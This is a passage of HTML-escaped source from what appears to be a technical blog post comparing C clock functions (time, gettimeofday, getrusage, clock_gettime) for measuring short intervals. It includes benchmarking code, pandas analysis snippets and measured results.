&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Elapsed: %lu&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The question is, what &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function you would use?&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='CllvdSBjb3VsZCByZWFkIGEgQ1BVIHJlZ2lzdGVyIHRoYXQgaW1wbGVtZW50cyB0aGUgY2xvY2sgaW4gaGFyZHdhcmUuCkJld2FyZSwgaG93ZXZlciwgdGhhdCB0aGUgcmVhZCBtYXkgbm90IGJlIGNoZWFwIGFuZCB0aGUgY2xvY2sKbWF5IG5vdCBoYXZlIHRoZSBwcmVjaXNpb24gdGhhdCB5b3UgbmVlZC4KCkFsc28sIHRoZSByZWdpc3RlciBtYXkgYmUgcGVyIENQVTogdG8gbWFrZSBpdCB3b3JrIHlvdSBuZWVkIHRvCmVuc3VyZSB0aGF0IGBleHBlcmltZW50KClgIGRvZXMgbm90IG1pZ3JhdGUgdG8gYW5vdGhlciBDUFUuCgpTZWUgW2xpYnBmbTRdKGh0dHBzOi8vZ2l0aHViLmNvbS93Y29oZW4vbGlicGZtNCkuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllvdSBjb3VsZCByZWFkIGEgQ1BVIHJlZ2lzdGVyIHRoYXQgaW1wbGVtZW50cyB0aGUgY2xvY2sgaW4gaGFyZHdhcmUuCkJld2FyZSwgaG93ZXZlciwgdGhhdCB0aGUgcmVhZCBtYXkgbm90IGJlIGNoZWFwIGFuZCB0aGUgY2xvY2sKbWF5IG5vdCBoYXZlIHRoZSBwcmVjaXNpb24gdGhhdCB5b3UgbmVlZC4KCkFsc28sIHRoZSByZWdpc3RlciBtYXkgYmUgcGVyIENQVTogdG8gbWFrZSBpdCB3b3JrIHlvdSBuZWVkIHRvCmVuc3VyZSB0aGF0IGBleHBlcmltZW50KClgIGRvZXMgbm90IG1pZ3JhdGUgdG8gYW5vdGhlciBDUFUuCgpTZWUgW2xpYnBmbTRdKGh0dHBzOi8vZ2l0aHViLmNvbS93Y29oZW4vbGlicGZtNCkuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
You could read a CPU register that implements the clock in hardware. Beware, however, that the read may not be cheap and the clock may not have the precision that you need.
&lt;br /&gt;&lt;br /&gt;
Also, the register may be per CPU: to make it work you need to ensure that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;experiment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does not migrate to another CPU.
&lt;br /&gt;&lt;br /&gt;
See &lt;a href="https://github.com/wcohen/libpfm4"&gt;libpfm4&lt;/a&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There are some options available:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;getrusage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;resource&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However not all of them are as suitable for the task as they may seem.&lt;/p&gt;
&lt;h2 id="test-escenario"&gt;Test escenario&lt;/h2&gt;
&lt;p&gt;The idea is to call a particular clock several times in a tight loop.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;atoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;timespec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;clock_gettime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CLOCK_MONOTONIC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;print_nsec_resolution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rounds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;mono&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CklmIHRoZSBjbG9jayBqdW1wcyAqYmFja3dhcmRzKiwgdGhpcyBmdW5jdGlvbiB3aWxsIHByaW50IGEgKmh1Z2UqCm51bWJlciBhbmQgbm90IGEgbmVnYXRpdmUgdmFsdWUuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CklmIHRoZSBjbG9jayBqdW1wcyAqYmFja3dhcmRzKiwgdGhpcyBmdW5jdGlvbiB3aWxsIHByaW50IGEgKmh1Z2UqCm51bWJlciBhbmQgbm90IGEgbmVnYXRpdmUgdmFsdWUuCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
If the clock jumps &lt;em&gt;backwards&lt;/em&gt;, this function will print a &lt;em&gt;huge&lt;/em&gt; number and not a negative value.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;print_&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; functions will print the measurements normalized: no matter the clock’s resolution, the printed value will be in nanoseconds and to get comparable results the values are respect the first measurement.&lt;/p&gt;
&lt;p&gt;In other words:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;tv_sec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// seconds as nanoseconds&lt;/span&gt;
&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;tv_nsec&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// plus the nanoseconds&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;tv_sec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;times1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;tv_nsec&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%s %lu&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The full code can be found &lt;a href="/assets/perf/timing/clocks.c"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="evaluation"&gt;Evaluation&lt;/h2&gt;
&lt;p&gt;Compiled and executed with 10000 rounds each clock, it generated 70000 lines.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSB1c2Ugb2YgYGR0eXBlPXsiY2xvY2sgdHlwZSI6ICJjYXRlZ29yeSJ9YHsucHl0aG9ufSBpcyBpbXBvcnRhbnQuIFBhbmRhcwp3aWxsIGxvYWQgdGhlc2Ugc3RyaW5ncyBhbmQgaXQgd2lsbCBjcmVhdGUgYSBjYXRlZ29yeSBmb3IgZWFjaCBkaXN0aW5jdApsYWJlbCB0aGF0IGludGVybmFsbHkgaXMgcmVwcmVzZW50ZWQgYXMgYW4gaW50ZWdlci4KClRoaXMgcmVkdWNlcyBieSB0d28gb3JkZXJzIG9mIG1hZ25pdHVkIHRoZSBtZW1vcnkgdXNhZ2UKKGBkLm1lbW9yeV91c2FnZShUcnVlLCBUcnVlKWB7LnB5dGhvbn0gdG8gY29tcGFyZSB0aGVtKS4KW1BhbmRhcwpyZWZlcmVuY2VdKGh0dHBzOi8vcGFuZGFzLnB5ZGF0YS5vcmcvcGFuZGFzLWRvY3Mvc3RhYmxlL3VzZXJfZ3VpZGUvc2NhbGUuaHRtbCkKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSB1c2Ugb2YgYGR0eXBlPXsiY2xvY2sgdHlwZSI6ICJjYXRlZ29yeSJ9YHsucHl0aG9ufSBpcyBpbXBvcnRhbnQuIFBhbmRhcwp3aWxsIGxvYWQgdGhlc2Ugc3RyaW5ncyBhbmQgaXQgd2lsbCBjcmVhdGUgYSBjYXRlZ29yeSBmb3IgZWFjaCBkaXN0aW5jdApsYWJlbCB0aGF0IGludGVybmFsbHkgaXMgcmVwcmVzZW50ZWQgYXMgYW4gaW50ZWdlci4KClRoaXMgcmVkdWNlcyBieSB0d28gb3JkZXJzIG9mIG1hZ25pdHVkIHRoZSBtZW1vcnkgdXNhZ2UKKGBkLm1lbW9yeV91c2FnZShUcnVlLCBUcnVlKWB7LnB5dGhvbn0gdG8gY29tcGFyZSB0aGVtKS4KW1BhbmRhcwpyZWZlcmVuY2VdKGh0dHBzOi8vcGFuZGFzLnB5ZGF0YS5vcmcvcGFuZGFzLWRvY3Mvc3RhYmxlL3VzZXJfZ3VpZGUvc2NhbGUuaHRtbCkKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The use of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;clock type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;category&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is important. Pandas will load these strings and it will create a category for each distinct label that internally is represented as an integer.
&lt;br /&gt;&lt;br /&gt;
This reduces by two orders of magnitud the memory usage (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memory_usage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to compare them). &lt;a href="https://pandas.pydata.org/pandas-docs/stable/user_guide/scale.html"&gt;Pandas reference&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Each line is prefixed with a string that labels the clock type.&lt;/p&gt;
&lt;p&gt;The output can be loaded with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pandas&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as follows:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pandas&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nn"&gt;pd&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_csv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;fname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;names&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;clock type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;tval&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;dtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;clock type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;category&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It makes sense to analyze not the time returned by each call but the difference between two consecutive calls. This highlights how much stable is the clock and how much delay adds the call.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;clock type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;categories&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;selected_rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;clock type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;differences&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;selected_rows&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tval&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;diff&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;selected_rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;tval&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;differences&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The full code can be found &lt;a href="/assets/perf/timing/analyze.py"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let’s review what we’ve got.&lt;/p&gt;
&lt;h3 id="time"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has a resolution of a second, so it is a &lt;em&gt;no-go&lt;/em&gt; to measure things of the order of the microsecond or less.&lt;/p&gt;
&lt;p&gt;But for completeness I tested &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; anyways and what I found it was a surprise:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Clock type: time
         tval
count  9999.0
mean      0.0
std       0.0
min       0.0
25%       0.0
50%       0.0
75%       0.0
max       0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If I run &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in tight &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; loop, it returns always the same value, no matter how many times the loop iterates.&lt;/p&gt;
&lt;p&gt;I thought that it was a bug but nope, when I run it with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gdb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; it works as expected.&lt;/p&gt;
&lt;p&gt;Weird.&lt;/p&gt;
&lt;h3 id="gettimeofday"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gettimeofday&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;label for='ClRoaXMgY2FuIGJlIGV4cGxhaW5lZCBkdWUgaXRzIGltcGxlbWVudGF0aW9uOiBpbnN0ZWFkIG9mIGRvaW5nIGEKc3lzY2FsbCwgYSBjYWxsIHRvIGBnZXR0aW1lb2ZkYXkoKWAgY2FsbHMgYSBzbmlwcGV0IG9mIGNvZGUgaW4gdXNlcgpzcGFjZS4KClNlZSBtb3JlIGFib3V0IFt2c3lzY2FsbCBhbmQgdkRTTyBoZXJlXShodHRwczovLzB4YXguZ2l0Ym9va3MuaW8vbGludXgtaW5zaWRlcy9jb250ZW50L1N5c0NhbGwvbGludXgtc3lzY2FsbC0zLmh0bWwpCiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
